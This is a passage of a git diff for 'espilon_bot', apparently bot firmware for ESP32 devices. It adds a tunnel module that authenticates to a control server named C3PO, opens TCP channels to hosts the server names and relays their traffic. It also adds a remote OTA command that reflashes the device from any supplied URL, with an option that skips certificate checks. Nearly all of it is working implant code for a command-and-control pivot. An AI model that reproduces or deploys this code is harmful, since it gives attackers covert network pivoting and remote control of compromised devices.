struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
const uint8_t *p = data;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int sent = send(ch->sock, p, remaining, 0);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGW(TAG, "chan %u send error", chan_id);
|
||||
chan_close(chan_id, TUN_CLOSE_RESET);
|
||||
return;
|
||||
}
|
||||
p += sent;
|
||||
remaining -= sent;
|
||||
}
|
||||
ch->bytes_tx += len;
|
||||
|
||||
/* Restore non-blocking */
|
||||
fcntl(ch->sock, F_SETFL, flags);
|
||||
}
|
||||
|
||||
static void tun_handle_close(uint16_t chan_id)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
|
||||
chan_id, ch->bytes_tx, ch->bytes_rx);
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void tun_handle_ping(const uint8_t *data, uint16_t len)
|
||||
{
|
||||
/* Echo back as PONG on channel 0 (control) */
|
||||
tun_send_frame(0, TUN_FRAME_PONG, data, len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Authentication
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_authenticate(int sock)
|
||||
{
|
||||
/*
|
||||
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
|
||||
* + encrypted("espilon-tunnel-v1")
|
||||
*
|
||||
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
|
||||
* C3PO verifies by decrypting with the device's derived key.
|
||||
*/
|
||||
|
||||
const char *dev_id = CONFIG_DEVICE_ID;
|
||||
size_t id_len = strlen(dev_id);
|
||||
|
||||
/* Encrypt auth token */
|
||||
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
|
||||
int enc_len = crypto_encrypt(
|
||||
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
|
||||
enc_token, sizeof(enc_token)
|
||||
);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "auth token encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build handshake: magic + flags + id_len + id + encrypted_token */
|
||||
uint8_t flags = 0;
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
flags |= 0x01; /* Request AEAD mode */
|
||||
#endif
|
||||
|
||||
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
|
||||
uint8_t *pkt = malloc(total);
|
||||
if (!pkt) return false;
|
||||
|
||||
size_t off = 0;
|
||||
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
|
||||
pkt[off++] = flags;
|
||||
pkt[off++] = (uint8_t)id_len;
|
||||
memcpy(pkt + off, dev_id, id_len); off += id_len;
|
||||
memcpy(pkt + off, enc_token, enc_len);
|
||||
|
||||
bool ok = send_all(sock, pkt, total);
|
||||
free(pkt);
|
||||
|
||||
if (!ok) {
|
||||
ESP_LOGE(TAG, "auth handshake send failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
|
||||
uint8_t resp;
|
||||
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
|
||||
ESP_LOGE(TAG, "auth response timeout");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (resp != 0x00) {
|
||||
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Main select() loop
|
||||
* ============================================================ */
|
||||
|
||||
static void tun_dispatch_frames(void)
|
||||
{
|
||||
uint16_t chan_id;
|
||||
tun_frame_type_t type;
|
||||
uint8_t frame_data[TUN_FRAME_MAX_DATA];
|
||||
uint16_t frame_len;
|
||||
|
||||
while (true) {
|
||||
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
|
||||
if (rc == 1) break; /* Incomplete frame, need more data */
|
||||
if (rc == -1) {
|
||||
ESP_LOGW(TAG, "bad frame, skipping");
|
||||
continue;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
case TUN_FRAME_OPEN:
|
||||
tun_handle_open(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_DATA:
|
||||
tun_handle_data(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_CLOSE:
|
||||
tun_handle_close(chan_id);
|
||||
break;
|
||||
case TUN_FRAME_PING:
|
||||
tun_handle_ping(frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_PONG:
|
||||
/* Received pong, tunnel is alive - nothing to do */
|
||||
break;
|
||||
default:
|
||||
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
|
||||
static int tun_connect_and_auth(void)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(g_tun.c3po_port),
|
||||
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
|
||||
};
|
||||
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) return -1;
|
||||
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_authenticate(s)) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
|
||||
static void tun_select_loop(void)
|
||||
{
|
||||
uint8_t data_buf[TUN_FRAME_MAX_DATA];
|
||||
g_tun.last_ping_tick = xTaskGetTickCount();
|
||||
|
||||
while (g_tun.running) {
|
||||
fd_set read_fds;
|
||||
FD_ZERO(&read_fds);
|
||||
|
||||
int max_fd = g_tun.c3po_sock;
|
||||
FD_SET(g_tun.c3po_sock, &read_fds);
|
||||
|
||||
/* Add all open channel sockets */
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
|
||||
FD_SET(ch->sock, &read_fds);
|
||||
if (ch->sock > max_fd) max_fd = ch->sock;
|
||||
}
|
||||
}
|
||||
|
||||
struct timeval tv = {
|
||||
.tv_sec = 0,
|
||||
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
|
||||
};
|
||||
|
||||
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
|
||||
|
||||
if (ready < 0) {
|
||||
if (errno == EINTR) continue;
|
||||
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
|
||||
break;
|
||||
}
|
||||
|
||||
/* Read from C3PO tunnel socket */
|
||||
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
|
||||
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
|
||||
if (space > 0) {
|
||||
int n = recv(g_tun.c3po_sock,
|
||||
g_tun.rx_buf + g_tun.rx_buf_len,
|
||||
space, 0);
|
||||
if (n <= 0) {
|
||||
ESP_LOGW(TAG, "C3PO connection lost");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
g_tun.rx_buf_len += n;
|
||||
}
|
||||
|
||||
tun_dispatch_frames();
|
||||
}
|
||||
|
||||
/* Read from channel sockets, forward to C3PO */
|
||||
if (ready > 0) {
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
|
||||
if (!FD_ISSET(ch->sock, &read_fds)) continue;
|
||||
|
||||
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
|
||||
if (n > 0) {
|
||||
ch->bytes_rx += n;
|
||||
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
|
||||
ESP_LOGW(TAG, "C3PO send failed");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
} else if (n == 0) {
|
||||
/* Target closed connection */
|
||||
chan_close(i, TUN_CLOSE_NORMAL);
|
||||
} else {
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK) {
|
||||
chan_close(i, TUN_CLOSE_RESET);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Periodic PING keepalive */
|
||||
uint32_t now = xTaskGetTickCount();
|
||||
if ((now - g_tun.last_ping_tick) >=
|
||||
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
|
||||
|
||||
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
|
||||
uint8_t ts_buf[4];
|
||||
ts_buf[0] = (ts >> 24) & 0xFF;
|
||||
ts_buf[1] = (ts >> 16) & 0xFF;
|
||||
ts_buf[2] = (ts >> 8) & 0xFF;
|
||||
ts_buf[3] = ts & 0xFF;
|
||||
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
|
||||
g_tun.last_ping_tick = now;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void tun_task(void *arg)
|
||||
{
|
||||
const char *req_id = (const char *)arg;
|
||||
|
||||
msg_info(TAG, "tunnel connected", req_id);
|
||||
|
||||
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
|
||||
|
||||
/* Outer reconnect loop */
|
||||
while (g_tun.running) {
|
||||
/* Run until connection drops or tun_stop() */
|
||||
tun_select_loop();
|
||||
|
||||
/* Cleanup after disconnect */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
/* If stopped intentionally, exit */
|
||||
if (!g_tun.running) break;
|
||||
|
||||
/* Reconnect with exponential backoff */
|
||||
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
|
||||
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
|
||||
|
||||
if (!g_tun.running) break;
|
||||
|
||||
int s = tun_connect_and_auth();
|
||||
if (s >= 0) {
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
|
||||
g_tun.channels[i].sock = -1;
|
||||
|
||||
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
|
||||
ESP_LOGI(TAG, "tunnel reconnected");
|
||||
} else {
|
||||
/* Exponential backoff: double, cap at max */
|
||||
backoff_ms *= 2;
|
||||
if (backoff_ms > TUN_RECONNECT_MAX_MS)
|
||||
backoff_ms = TUN_RECONNECT_MAX_MS;
|
||||
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
|
||||
backoff_ms);
|
||||
}
|
||||
}
|
||||
|
||||
/* Final cleanup */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.running = false;
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
msg_info(TAG, "tunnel stopped", req_id);
|
||||
|
||||
/* Free heap-allocated request_id */
|
||||
if (req_id) free((void *)req_id);
|
||||
|
||||
g_tun.task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
|
||||
{
|
||||
if (g_tun.running) return false;
|
||||
|
||||
/* Store address for reconnect */
|
||||
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
|
||||
g_tun.c3po_port = c3po_port;
|
||||
|
||||
/* Initial connection with retry loop */
|
||||
int s = -1;
|
||||
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
|
||||
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
|
||||
c3po_ip, c3po_port, retry + 1);
|
||||
|
||||
s = tun_connect_and_auth();
|
||||
if (s >= 0) break;
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
if (s < 0) {
|
||||
msg_error(TAG, "unable to connect to tunnel server", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Initialize state */
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
g_tun.running = true;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
g_tun.encrypted = true;
|
||||
#else
|
||||
g_tun.encrypted = false;
|
||||
#endif
|
||||
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
g_tun.channels[i].sock = -1;
|
||||
}
|
||||
|
||||
/* Heap-copy request_id for the task (freed inside tun_task) */
|
||||
char *req_copy = req_id ? strdup(req_id) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
tun_task,
|
||||
"tun_task",
|
||||
CONFIG_TUNNEL_TASK_STACK,
|
||||
req_copy,
|
||||
5,
|
||||
&g_tun.task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void tun_stop(void)
|
||||
{
|
||||
g_tun.running = false;
|
||||
/* Task will exit on next select() timeout and clean up */
|
||||
}
|
||||
|
||||
bool tun_is_running(void)
|
||||
{
|
||||
return g_tun.running;
|
||||
}
|
||||
|
||||
void tun_get_status(char *buf, size_t buf_len)
|
||||
{
|
||||
if (!g_tun.running) {
|
||||
snprintf(buf, buf_len, "tunnel=stopped");
|
||||
return;
|
||||
}
|
||||
|
||||
int open_chans = 0;
|
||||
uint32_t total_tx = 0, total_rx = 0;
|
||||
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
if (g_tun.channels[i].state == CHAN_OPEN) {
|
||||
open_chans++;
|
||||
total_tx += g_tun.channels[i].bytes_tx;
|
||||
total_rx += g_tun.channels[i].bytes_rx;
|
||||
}
|
||||
}
|
||||
|
||||
snprintf(buf, buf_len,
|
||||
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
|
||||
open_chans, TUN_MAX_CHANNELS,
|
||||
total_tx, total_rx,
|
||||
g_tun.encrypted ? "aead" : "plain");
|
||||
}
|
||||
126
espilon_bot/components/mod_network/tun_core.h
Normal file
126
espilon_bot/components/mod_network/tun_core.h
Normal file
@ -0,0 +1,126 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
/* ============================================================
|
||||
* Tuneable constants (Kconfig overrides)
|
||||
* ============================================================ */
|
||||
|
||||
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define CONFIG_TUNNEL_MAX_CHANNELS 8
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_FRAME_MAX
|
||||
#define CONFIG_TUNNEL_FRAME_MAX 4096
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_TASK_STACK
|
||||
#define CONFIG_TUNNEL_TASK_STACK 6144
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Protocol constants
|
||||
* ============================================================ */
|
||||
|
||||
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
|
||||
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
|
||||
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
|
||||
|
||||
/* Crypto overhead: nonce(12) + tag(16) */
|
||||
#define TUN_CRYPTO_NONCE_LEN 12
|
||||
#define TUN_CRYPTO_TAG_LEN 16
|
||||
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
|
||||
|
||||
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
|
||||
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
|
||||
|
||||
/* RX buffer must hold the largest possible frame */
|
||||
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
|
||||
|
||||
/* Timeouts & limits */
|
||||
#define TUN_CONNECT_TIMEOUT_S 5
|
||||
#define TUN_SELECT_TIMEOUT_MS 100
|
||||
#define TUN_MAX_RETRY 10
|
||||
#define TUN_RETRY_DELAY_MS 5000
|
||||
#define TUN_PING_INTERVAL_S 30
|
||||
#define TUN_OPEN_TIMEOUT_S 10
|
||||
|
||||
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
|
||||
#define TUN_RECONNECT_MIN_MS 1000
|
||||
#define TUN_RECONNECT_MAX_MS 30000
|
||||
|
||||
/* Authentication */
|
||||
#define TUN_MAGIC "TUN\x01"
|
||||
#define TUN_MAGIC_LEN 4
|
||||
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
|
||||
#define TUN_AUTH_TOKEN_LEN 17
|
||||
|
||||
/* ============================================================
|
||||
* Frame types
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
TUN_FRAME_OPEN = 0x01,
|
||||
TUN_FRAME_OPEN_OK = 0x02,
|
||||
TUN_FRAME_DATA = 0x03,
|
||||
TUN_FRAME_CLOSE = 0x04,
|
||||
TUN_FRAME_ERROR = 0x05,
|
||||
TUN_FRAME_PING = 0x06,
|
||||
TUN_FRAME_PONG = 0x07,
|
||||
} tun_frame_type_t;
|
||||
|
||||
/* Close reasons */
|
||||
#define TUN_CLOSE_NORMAL 0
|
||||
#define TUN_CLOSE_RESET 1
|
||||
#define TUN_CLOSE_TIMEOUT 2
|
||||
|
||||
/* ============================================================
|
||||
* Channel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CHAN_FREE = 0,
|
||||
CHAN_CONNECTING,
|
||||
CHAN_OPEN,
|
||||
CHAN_CLOSING,
|
||||
} tun_chan_state_t;
|
||||
|
||||
typedef struct {
|
||||
tun_chan_state_t state;
|
||||
int sock; /* Target-side TCP socket, -1 if free */
|
||||
uint32_t bytes_tx;
|
||||
uint32_t bytes_rx;
|
||||
} tun_channel_t;
|
||||
|
||||
/* ============================================================
|
||||
* Global tunnel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
volatile bool running;
|
||||
bool encrypted; /* Per-frame AEAD mode */
|
||||
int c3po_sock; /* Socket to C3PO tunnel server */
|
||||
tun_channel_t channels[TUN_MAX_CHANNELS];
|
||||
uint8_t rx_buf[TUN_RX_BUF_SIZE];
|
||||
size_t rx_buf_len; /* Bytes buffered (partial frame) */
|
||||
TaskHandle_t task_handle;
|
||||
uint32_t last_ping_tick; /* For keepalive */
|
||||
char c3po_ip[48]; /* Stored for reconnect */
|
||||
int c3po_port; /* Stored for reconnect */
|
||||
} tun_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
|
||||
void tun_stop(void);
|
||||
bool tun_is_running(void);
|
||||
void tun_get_status(char *buf, size_t buf_len);
|
||||
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_ota.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
|
||||
)
|
||||
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
@ -0,0 +1,159 @@
|
||||
/*
|
||||
* cmd_ota.c
|
||||
* OTA firmware update commands (HTTPS + cert bundle)
|
||||
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_ota_ops.h"
|
||||
#include "esp_https_ota.h"
|
||||
#include "esp_http_client.h"
|
||||
#include "esp_crt_bundle.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "OTA"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_update <url> (async)
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_update(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
const char *url = argv[0];
|
||||
char buf[256];
|
||||
|
||||
snprintf(buf, sizeof(buf), "url=%s", url);
|
||||
msg_info(TAG, buf, req);
|
||||
|
||||
esp_http_client_config_t http_config = {
|
||||
.url = url,
|
||||
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
|
||||
.skip_cert_common_name_check = true,
|
||||
#else
|
||||
.crt_bundle_attach = esp_crt_bundle_attach,
|
||||
#endif
|
||||
.timeout_ms = 30000,
|
||||
.keep_alive_enable = true,
|
||||
};
|
||||
|
||||
esp_https_ota_config_t ota_config = {
|
||||
.http_config = &http_config,
|
||||
};
|
||||
|
||||
esp_https_ota_handle_t ota_handle = NULL;
|
||||
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
return err;
|
||||
}
|
||||
|
||||
int total_size = esp_https_ota_get_image_size(ota_handle);
|
||||
int last_pct = -1;
|
||||
|
||||
while (1) {
|
||||
err = esp_https_ota_perform(ota_handle);
|
||||
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
|
||||
|
||||
if (total_size > 0) {
|
||||
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
|
||||
int pct = (bytes_read * 100) / total_size;
|
||||
if (pct / 10 != last_pct / 10) {
|
||||
last_pct = pct;
|
||||
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
|
||||
msg_info(TAG, buf, req);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
esp_https_ota_abort(ota_handle);
|
||||
return err;
|
||||
}
|
||||
|
||||
err = esp_https_ota_finish(ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
|
||||
msg_error(TAG, "validate_failed=image_corrupted", req);
|
||||
} else {
|
||||
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
msg_info(TAG, "status=success rebooting=true", req);
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_restart();
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
const esp_partition_t *running = esp_ota_get_running_partition();
|
||||
const esp_partition_t *boot = esp_ota_get_boot_partition();
|
||||
|
||||
esp_app_desc_t app_desc;
|
||||
esp_ota_get_partition_description(running, &app_desc);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"partition=%s boot=%s version=%s idf=%s",
|
||||
running ? running->label : "?",
|
||||
boot ? boot->label : "?",
|
||||
app_desc.version,
|
||||
app_desc.idf_ver
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t ota_cmds[] = {
|
||||
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
|
||||
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
|
||||
};
|
||||
|
||||
void mod_ota_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
|
||||
command_register(&ota_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_ESPILON_OTA_ENABLED */
|
||||
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_ota_register_commands(void);
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user